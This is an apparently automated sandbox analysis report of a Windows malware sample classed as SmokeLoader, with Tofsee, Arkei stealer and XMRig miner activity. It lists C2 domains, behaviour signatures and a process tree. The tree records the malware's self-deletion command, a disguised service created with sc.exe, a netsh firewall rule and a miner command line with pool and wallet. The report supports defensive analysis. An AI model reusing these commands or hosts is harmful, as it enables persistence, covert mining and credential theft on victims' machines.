Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    05/01/2022, 00:21

General

  • Target
    4bf8cca281ead5ee814dd1edf9a41a48.exe
  • Size 294KB
  • Sample220105-anb12aaacq
  • SHA256 b2e2b3756e1e8506d37bf855754c3e240672de8e7757cebce39cc6c516097588
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 3 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 11 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4bf8cca281ead5ee814dd1edf9a41a48.exe
    "C:\Users\Admin\AppData\Local\Temp\4bf8cca281ead5ee814dd1edf9a41a48.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3556
    • C:\Users\Admin\AppData\Local\Temp\4bf8cca281ead5ee814dd1edf9a41a48.exe
      "C:\Users\Admin\AppData\Local\Temp\4bf8cca281ead5ee814dd1edf9a41a48.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2644
  • C:\Users\Admin\AppData\Local\Temp\6F8E.exe
    C:\Users\Admin\AppData\Local\Temp\6F8E.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:3964
  • C:\Users\Admin\AppData\Local\Temp\C60C.exe
    C:\Users\Admin\AppData\Local\Temp\C60C.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2284
    • C:\Users\Admin\AppData\Local\Temp\C60C.exe
      C:\Users\Admin\AppData\Local\Temp\C60C.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:3532
  • C:\Users\Admin\AppData\Local\Temp\CA62.exe
    C:\Users\Admin\AppData\Local\Temp\CA62.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:872
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\CA62.exe" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1624
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:1260
  • C:\Users\Admin\AppData\Local\Temp\CE5B.exe
    C:\Users\Admin\AppData\Local\Temp\CE5B.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2760
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dgutnnvx\
      2⤵
        PID:404
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\taedelu.exe" C:\Windows\SysWOW64\dgutnnvx\
        2⤵
          PID:424
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dgutnnvx binPath= "C:\Windows\SysWOW64\dgutnnvx\taedelu.exe /d\"C:\Users\Admin\AppData\Local\Temp\CE5B.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3164
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description dgutnnvx "wifi internet conection"
            2⤵
              PID:1312
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start dgutnnvx
              2⤵
                PID:1424
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2208
              • C:\Windows\SysWOW64\dgutnnvx\taedelu.exe
                C:\Windows\SysWOW64\dgutnnvx\taedelu.exe /d"C:\Users\Admin\AppData\Local\Temp\CE5B.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1692
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:3068
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3964
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                • Accesses Microsoft Outlook profiles
                • outlook_office_path
                • outlook_win_path
                PID:2084
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:520
                • C:\Users\Admin\AppData\Local\Temp\294D.exe
                  C:\Users\Admin\AppData\Local\Temp\294D.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Loads dropped DLL
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Checks processor information in registry
                  PID:3864
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\294D.exe" & exit
                    2⤵
                      PID:1564
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 5
                        3⤵
                        • Delays execution with timeout.exe
                        PID:2080
                  • C:\Users\Admin\AppData\Local\Temp\3360.exe
                    C:\Users\Admin\AppData\Local\Temp\3360.exe
                    1⤵
                    • Executes dropped EXE
                    PID:1388
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 1388 -s 1188
                      2⤵
                      • Suspicious use of NtCreateProcessExOtherParentProcess
                      • Program crash
                      PID:820
                  • C:\Users\Admin\AppData\Local\Temp\4A26.exe
                    C:\Users\Admin\AppData\Local\Temp\4A26.exe
                    1⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Checks whether UAC is enabled
                    • Suspicious use of SetThreadContext
                    PID:704
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                      2⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1400
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 704 -s 532
                      2⤵
                      • Suspicious use of NtCreateProcessExOtherParentProcess
                      • Program crash
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1920
                  • C:\Users\Admin\AppData\Local\Temp\5EB8.exe
                    C:\Users\Admin\AppData\Local\Temp\5EB8.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4016
                  • C:\Users\Admin\AppData\Local\Temp\6783.exe
                    C:\Users\Admin\AppData\Local\Temp\6783.exe
                    1⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Checks whether UAC is enabled
                    • Suspicious use of SetThreadContext
                    PID:972
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                      2⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3936
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 972 -s 540
                      2⤵
                      • Suspicious use of NtCreateProcessExOtherParentProcess
                      • Program crash
                      • Suspicious use of AdjustPrivilegeToken
                      PID:816

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        memory/520-166-0x0000000000D20000-0x0000000000D2C000-memory.dmp

                        memory/520-165-0x0000000000D30000-0x0000000000D37000-memory.dmp

                        memory/704-232-0x0000000003490000-0x0000000003491000-memory.dmp

                        memory/704-252-0x00000000026C0000-0x00000000026C1000-memory.dmp

                        memory/704-204-0x0000000002290000-0x00000000022F0000-memory.dmp

                        memory/704-251-0x0000000002710000-0x0000000002711000-memory.dmp

                        memory/704-250-0x0000000002700000-0x0000000002701000-memory.dmp

                        memory/704-208-0x00000000027C0000-0x00000000027C1000-memory.dmp

                        memory/704-246-0x0000000003490000-0x0000000003491000-memory.dmp

                        memory/704-245-0x00000000025F0000-0x00000000025F1000-memory.dmp

                        memory/704-229-0x0000000003490000-0x0000000003491000-memory.dmp

                        memory/704-243-0x00000000025D0000-0x00000000025D1000-memory.dmp

                        memory/704-207-0x0000000000400000-0x0000000000729000-memory.dmp

                        memory/704-238-0x00000000025B0000-0x00000000025B1000-memory.dmp

                        memory/704-205-0x0000000000400000-0x0000000000729000-memory.dmp

                        memory/704-234-0x0000000003490000-0x0000000003491000-memory.dmp

                        memory/704-206-0x00000000027B0000-0x00000000027B1000-memory.dmp

                        memory/704-248-0x0000000003490000-0x0000000003491000-memory.dmp

                        memory/704-239-0x0000000002560000-0x0000000002561000-memory.dmp

                        memory/704-209-0x0000000000400000-0x0000000000729000-memory.dmp

                        memory/704-212-0x0000000002770000-0x0000000002771000-memory.dmp

                        memory/704-210-0x0000000000400000-0x0000000000729000-memory.dmp

                        memory/704-214-0x00000000027E0000-0x00000000027E1000-memory.dmp

                        memory/704-225-0x00000000034A0000-0x00000000034A1000-memory.dmp

                        memory/704-241-0x0000000002580000-0x0000000002581000-memory.dmp

                        memory/704-217-0x00000000027A0000-0x00000000027A1000-memory.dmp

                        memory/704-223-0x00000000027D0000-0x00000000027D1000-memory.dmp

                        memory/704-221-0x0000000002800000-0x0000000002801000-memory.dmp

                        memory/704-219-0x0000000002790000-0x0000000002791000-memory.dmp

                        memory/704-236-0x0000000003490000-0x0000000003491000-memory.dmp

                        memory/704-237-0x00000000025A0000-0x00000000025A1000-memory.dmp

                        memory/872-140-0x0000000002B90000-0x0000000002CDA000-memory.dmp

                        memory/872-139-0x0000000002B90000-0x0000000002CDA000-memory.dmp

                        memory/872-141-0x0000000000400000-0x0000000002B87000-memory.dmp

                        memory/972-316-0x0000000000400000-0x00000000006F7000-memory.dmp

                        memory/972-313-0x0000000000400000-0x00000000006F7000-memory.dmp

                        memory/1388-287-0x0000000000400000-0x0000000000885000-memory.dmp

                        memory/1388-220-0x00000000009DC000-0x0000000000A39000-memory.dmp

                        memory/1388-228-0x00000000025E0000-0x0000000002675000-memory.dmp

                        memory/1388-230-0x0000000000400000-0x0000000000885000-memory.dmp

                        memory/1388-226-0x0000000000400000-0x0000000000885000-memory.dmp

                        memory/1388-199-0x0000000000D40000-0x0000000000DD7000-memory.dmp

                        memory/1388-200-0x0000000000400000-0x0000000000885000-memory.dmp

                        memory/1400-235-0x0000000000400000-0x0000000000420000-memory.dmp

                        memory/1400-242-0x00000000062F0000-0x0000000006302000-memory.dmp

                        memory/1400-211-0x0000000000400000-0x0000000000420000-memory.dmp

                        memory/1400-267-0x0000000000020000-0x0000000000021000-memory.dmp

                        memory/1400-227-0x0000000000020000-0x0000000000021000-memory.dmp

                        memory/1400-249-0x00000000088B0000-0x00000000088EE000-memory.dmp

                        memory/1400-244-0x0000000008980000-0x0000000008A8A000-memory.dmp

                        memory/1400-247-0x0000000008870000-0x0000000008E76000-memory.dmp

                        memory/1400-224-0x0000000000020000-0x0000000000021000-memory.dmp

                        memory/1400-240-0x0000000008E80000-0x0000000009486000-memory.dmp

                        memory/1400-231-0x0000000000020000-0x0000000000021000-memory.dmp

                        memory/1400-233-0x0000000000400000-0x0000000000420000-memory.dmp

                        memory/1692-155-0x0000000003460000-0x0000000003473000-memory.dmp

                        memory/1692-154-0x00000000001E0000-0x00000000001ED000-memory.dmp

                        memory/1692-162-0x0000000000400000-0x0000000002B84000-memory.dmp

                        memory/2072-119-0x0000000000DF0000-0x0000000000E06000-memory.dmp

                        memory/2072-126-0x0000000002BD0000-0x0000000002BE6000-memory.dmp

                        memory/2072-145-0x0000000004700000-0x0000000004716000-memory.dmp

                        memory/2084-167-0x0000000002800000-0x000000000286B000-memory.dmp

                        memory/2084-164-0x0000000002870000-0x00000000028E4000-memory.dmp

                        memory/2644-117-0x0000000000400000-0x0000000000409000-memory.dmp

                        memory/2760-142-0x0000000002B90000-0x0000000002CDA000-memory.dmp

                        memory/2760-143-0x0000000002B90000-0x0000000002CDA000-memory.dmp

                        memory/2760-144-0x0000000000400000-0x0000000002B84000-memory.dmp

                        memory/3068-163-0x0000000000C80000-0x0000000000C95000-memory.dmp

                        memory/3068-157-0x0000000000C80000-0x0000000000C95000-memory.dmp

                        memory/3068-160-0x0000000000990000-0x0000000000991000-memory.dmp

                        memory/3068-159-0x0000000000990000-0x0000000000991000-memory.dmp

                        memory/3556-116-0x0000000002C70000-0x0000000002C79000-memory.dmp

                        memory/3556-115-0x0000000002C60000-0x0000000002C68000-memory.dmp

                        memory/3864-178-0x0000000001070000-0x0000000001323000-memory.dmp

                        memory/3864-186-0x0000000001070000-0x0000000001323000-memory.dmp

                        memory/3864-187-0x0000000001070000-0x0000000001323000-memory.dmp

                        memory/3864-181-0x0000000003050000-0x0000000003095000-memory.dmp

                        memory/3864-188-0x0000000001070000-0x0000000001323000-memory.dmp

                        memory/3864-176-0x0000000001070000-0x0000000001323000-memory.dmp

                        memory/3864-184-0x0000000001070000-0x0000000001323000-memory.dmp

                        memory/3864-183-0x0000000001070000-0x0000000001323000-memory.dmp

                        memory/3864-177-0x0000000001070000-0x0000000001323000-memory.dmp

                        memory/3864-179-0x0000000001510000-0x0000000001511000-memory.dmp

                        memory/3864-180-0x0000000076AA0000-0x0000000076C62000-memory.dmp

                        memory/3864-185-0x0000000001070000-0x0000000001323000-memory.dmp

                        memory/3864-182-0x0000000077020000-0x00000000771AE000-memory.dmp

                        memory/3936-333-0x0000000000170000-0x0000000000171000-memory.dmp

                        memory/3936-335-0x0000000000170000-0x0000000000171000-memory.dmp

                        memory/3936-356-0x0000000000170000-0x0000000000171000-memory.dmp

                        memory/3936-337-0x0000000000170000-0x0000000000171000-memory.dmp

                        memory/3936-320-0x0000000000520000-0x0000000000540000-memory.dmp

                        memory/3964-125-0x0000000000400000-0x000000000046D000-memory.dmp

                        memory/3964-192-0x0000000003200000-0x00000000032F1000-memory.dmp

                        memory/3964-124-0x0000000000030000-0x0000000000039000-memory.dmp

                        memory/3964-197-0x0000000003200000-0x00000000032F1000-memory.dmp

                        memory/4016-292-0x00000000022C0000-0x00000000022EF000-memory.dmp

                        memory/4016-283-0x00000000001B0000-0x00000000001B1000-memory.dmp

                        memory/4016-281-0x0000000000400000-0x0000000000503000-memory.dmp

                        memory/4016-279-0x0000000000400000-0x0000000000503000-memory.dmp